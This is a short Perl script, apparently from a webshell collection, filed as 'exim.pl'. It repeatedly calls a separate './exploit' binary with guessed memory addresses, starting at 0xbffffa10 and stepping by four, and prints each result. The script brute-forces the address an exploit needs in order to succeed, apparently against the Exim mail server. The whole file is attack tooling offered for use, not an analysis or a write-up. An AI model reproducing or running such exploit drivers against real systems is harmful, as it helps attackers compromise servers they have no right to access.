webshell/pl/exim.pl
2013-06-10 15:05:53 +08:00

11 lines
164 B
Perl

#!/usr/bin/perl
$cnt = 0xbffffa10;
while (1) {
$hex = sprintf ("0x%x", $cnt);
$res = system ("./exploit $hex");
printf "$hex : $res\n";
$cnt += 4;
}